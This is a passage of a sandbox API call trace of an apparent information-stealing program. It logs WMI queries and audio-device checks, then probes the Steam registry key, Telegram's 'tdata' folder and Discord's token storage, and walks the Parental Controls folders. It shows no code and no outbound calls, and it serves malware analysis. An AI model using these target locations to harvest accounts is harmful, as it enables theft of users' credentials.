riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbbbe8 | out: pCid=0x1afbbbe8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.989] WbemLocator:IUnknown:Release (This=0x1b2028b8) returned 0x3 [0191.989] CoGetContextToken (in: pToken=0x1afbbc70 | out: pToken=0x1afbbc70) returned 0x0 [0191.989] CoGetContextToken (in: pToken=0x1afbc0f0 | out: pToken=0x1afbc0f0) returned 0x0 [0191.989] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2029d8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc1b0 | out: ppvObject=0x1afbc1b0*=0x1b2029a0) returned 0x0 [0191.989] WbemLocator:IRpcOptions:Query (in: This=0x1b2029a0, pPrx=0x1b2029d8, dwProperty=2, pdwValue=0x1afbc1a0 | out: pdwValue=0x1afbc1a0) returned 0x80004002 [0191.990] WbemLocator:IUnknown:Release (This=0x1b2029a0) returned 0x3 [0191.990] WbemLocator:IUnknown:Release (This=0x1b2029d8) returned 0x2 [0191.990] CoGetContextToken (in: pToken=0x1afbc7b0 | out: pToken=0x1afbc7b0) returned 0x0 [0191.990] CoGetContextToken (in: pToken=0x1afbc6b0 | out: pToken=0x1afbc6b0) returned 0x0 [0191.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2029d8, riid=0x1afbc810*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc7e0 | out: ppvObject=0x1afbc7e0*=0x1b286320) returned 0x0 [0191.990] IUnknown:AddRef (This=0x1b286320) returned 0x4 [0191.990] IUnknown:Release (This=0x1b286320) returned 0x3 [0191.990] IUnknown:Release (This=0x1b286320) returned 0x2 [0191.990] WbemLocator:IUnknown:Release (This=0x1b219340) returned 0x2 [0191.990] SysStringLen (param_1=0x0) returned 0x0 [0191.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1afbce68 | out: puCount=0x1afbce68*=0x2) returned 0x0 [0191.990] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1afbce60*=0x0, pszText=0x0 | out: puBuffLength=0x1afbce60*=0xf, pszText=0x0) returned 0x0 [0191.990] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1afbce60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbce60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0192.000] CoGetContextToken (in: pToken=0x1afbcab0 | out: pToken=0x1afbcab0) returned 0x0 [0192.000] IUnknown:AddRef (This=0x1b286320) returned 0x3 [0192.000] IEnumWbemClassObject:Clone (in: This=0x1b286320, ppEnum=0x1afbceb0 | out: ppEnum=0x1afbceb0*=0x1b286da0) returned 0x0 [0192.001] IUnknown:QueryInterface (in: This=0x1b286da0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbcc38 | out: ppvObject=0x1afbcc38*=0x1b286da8) returned 0x0 [0192.002] IClientSecurity:QueryBlanket (in: This=0x1b286da8, pProxy=0x1b286da0, pAuthnSvc=0x1afbcd00, pAuthzSvc=0x1afbcc80, pServerPrincName=0x1afbcca8, pAuthnLevel=0x1afbcc84, pImpLevel=0x1afbcc90, pAuthInfo=0x1afbccb8, pCapabilites=0x1afbcc94 | out: pAuthnSvc=0x1afbcd00*=0xa, pAuthzSvc=0x1afbcc80*=0x0, pServerPrincName=0x1afbcca8, pAuthnLevel=0x1afbcc84*=0x6, pImpLevel=0x1afbcc90*=0x2, pAuthInfo=0x1afbccb8, pCapabilites=0x1afbcc94*=0x1) returned 0x0 [0192.002] IUnknown:Release (This=0x1b286da8) returned 0x1 [0192.002] IUnknown:QueryInterface (in: This=0x1b286da0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbcbd0 | out: ppvObject=0x1afbcbd0*=0x1b202d18) returned 0x0 [0192.002] IUnknown:QueryInterface (in: This=0x1b286da0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbcbe0 | out: ppvObject=0x1afbcbe0*=0x1b286da8) returned 0x0 [0192.002] IClientSecurity:SetBlanket (This=0x1b286da8, pProxy=0x1b286da0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0192.003] IUnknown:Release (This=0x1b286da8) returned 0x2 [0192.003] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0192.003] CoTaskMemFree (pv=0x1b203c20) [0192.004] IUnknown:QueryInterface (in: This=0x1b286da0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc690 | out: ppvObject=0x1afbc690*=0x1b202d18) returned 0x0 [0192.004] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbc720 | out: ppvObject=0x1afbc720*=0x0) returned 0x80004002 [0192.187] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbc340 | out: ppvObject=0x1afbc340*=0x0) returned 0x80004002 [0192.187] IUnknown:QueryInterface (in: This=0x1b286da0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbbf18 | out: ppvObject=0x1afbbf18*=0x0) returned 0x80004002 [0192.188] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0192.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbbdd8 | out: ppvObject=0x1afbbdd8*=0x0) returned 0x80004002 [0192.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbbd60 | out: ppvObject=0x1afbbd60*=0x0) returned 0x80004002 [0192.188] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbd50 | out: ppvObject=0x1afbbd50*=0x1b202bf8) returned 0x0 [0192.189] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbbd78 | out: pCid=0x1afbbd78*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0192.189] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0192.189] CoGetContextToken (in: pToken=0x1afbbe00 | out: pToken=0x1afbbe00) returned 0x0 [0192.189] CoGetContextToken (in: pToken=0x1afbc280 | out: pToken=0x1afbc280) returned 0x0 [0192.189] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc340 | out: ppvObject=0x1afbc340*=0x1b202ce0) returned 0x0 [0192.189] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1afbc330 | out: pdwValue=0x1afbc330) returned 0x80004002 [0192.189] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0192.189] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0192.189] CoGetContextToken (in: pToken=0x1afbc940 | out: pToken=0x1afbc940) returned 0x0 [0192.189] CoGetContextToken (in: pToken=0x1afbc840 | out: pToken=0x1afbc840) returned 0x0 [0192.190] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1afbc9a0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc970 | out: ppvObject=0x1afbc970*=0x1b286da0) returned 0x0 [0192.190] IUnknown:AddRef (This=0x1b286da0) returned 0x4 [0192.190] IUnknown:Release (This=0x1b286da0) returned 0x3 [0192.190] IUnknown:Release (This=0x1b286da0) returned 0x2 [0192.190] IUnknown:Release (This=0x1b286320) returned 0x2 [0192.190] SysStringLen (param_1=0x0) returned 0x0 [0192.190] IEnumWbemClassObject:Reset (This=0x1b286da0) returned 0x0 [0192.201] CoTaskMemAlloc (cb=0x8) returned 0x1b24f860 [0192.202] IEnumWbemClassObject:Next (in: This=0x1b286da0, lTimeout=-1, uCount=0x1, apObjects=0x1b24f860, puReturned=0x24703b0 | out: apObjects=0x1b24f860*=0x0, puReturned=0x24703b0*=0x0) returned 0x1 [0218.612] CoTaskMemFree (pv=0x1b24f860) [0218.620] CoGetContextToken (in: pToken=0x1afbccf0 | out: pToken=0x1afbccf0) returned 0x0 [0218.620] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0218.620] IUnknown:Release (This=0x1b286da0) returned 0x0 [0219.531] waveInGetNumDevs () returned 0x1 [0220.529] waveInGetDevCapsW (in: uDeviceID=0x0, pwic=0x1afbcf68, cbwic=0x94 | out: pwic=0x1afbcf68) returned 0x0 [0220.896] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbcf58 | out: phkResult=0x1afbcf58*=0x0) returned 0x2 [0220.903] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afba2b8 | out: phkResult=0x1afba2b8*=0x0) returned 0x2 [0221.105] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbcf58 | out: phkResult=0x1afbcf58*=0x0) returned 0x2 [0221.106] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afba2b8 | out: phkResult=0x1afba2b8*=0x0) returned 0x2 [0221.116] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbcf58 | out: phkResult=0x1afbcf58*=0x0) returned 0x2 [0221.117] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afba2b8 | out: phkResult=0x1afba2b8*=0x0) returned 0x2 [0221.312] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbcdb8 | out: phkResult=0x1afbcdb8*=0x0) returned 0x2 [0221.316] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afba118 | out: phkResult=0x1afba118*=0x0) returned 0x2 [0221.319] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbcdb8 | out: phkResult=0x1afbcdb8*=0x0) returned 0x2 [0221.321] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afba118 | out: phkResult=0x1afba118*=0x0) returned 0x2 [0221.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afb9050) returned 1 [0221.713] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbce08 | out: phkResult=0x1afbce08*=0x0) returned 0x2 [0221.716] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afba168 | out: phkResult=0x1afba168*=0x0) returned 0x2 [0221.740] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="tdesktop.tg\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbce28 | out: phkResult=0x1afbce28*=0x0) returned 0x2 [0221.748] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1afbc9b0, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0221.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbce00) returned 1 [0221.748] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1afbcee0 | out: lpFileInformation=0x1afbcee0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0221.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbcdc0) returned 1 [0221.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1afbce80 | out: SystemInformation=0x12da3098, ResultLength=0x1afbce80*=0x1cb30) returned 0x0 [0221.945] CoTaskMemAlloc (cb=0x20c) returned 0x1d0aeea0 [0221.945] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1d0aeea0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0221.945] CoTaskMemFree (pv=0x1d0aeea0) [0221.945] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1afbc940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpFilePart=0x0) returned 0x25 [0221.945] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", nBufferLength=0x105, lpBuffer=0x1afbcad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", lpFilePart=0x0) returned 0x44 [0221.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbcf20) returned 1 [0221.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\discord\\local storage\\leveldb"), fInfoLevelId=0x0, lpFileInformation=0x1afbd000 | out: lpFileInformation=0x1afbd000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0221.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbcee0) returned 1 [0222.159] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1afbd218 | out: UnbiasedTime=0x1afbd218) returned 1 [0222.367] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x1afbd218 | out: UnbiasedTime=0x1afbd218) returned 1 [0222.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.589] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls", lpFilePart=0x0) returned 0x36 [0222.589] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\parental controls\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.589] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.589] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 0 [0222.590] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe9a0) returned 1 [0222.590] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls", nBufferLength=0x105, lpBuffer=0x1afbe480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls", lpFilePart=0x0) returned 0x36 [0222.590] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\parental controls\\*"), lpFindFileData=0x1afbe6b0 | out: lpFindFileData=0x1afbe6b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.590] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.591] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 1 [0222.591] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbe670 | out: lpFindFileData=0x1afbe670*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.591] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe8d0) returned 1 [0222.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe890) returned 1 [0222.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.591] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\settings", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\settings", lpFilePart=0x0) returned 0x3f [0222.591] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\settings\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\parental controls\\settings\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.592] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.592] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0222.592] FindClose (in: hFindFile=0x1d1f5b90 | out: hFindFile=0x1d1f5b90) returned 1 [0222.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe110) returned 1 [0222.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbe0d0) returned 1 [0222.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbe1e0) returned 1 [0222.592] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\settings", nBufferLength=0x105, lpBuffer=0x1afbdcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\settings", lpFilePart=0x0) returned 0x3f [0222.592] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Parental Controls\\settings\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\parental controls\\settings\\*"), lpFindFileData=0x1afbdef0 | out: lpFindFileData=0x1afbdef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0222.593] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1afbdeb0 | out: lpFindFileData=0x1afbdeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, 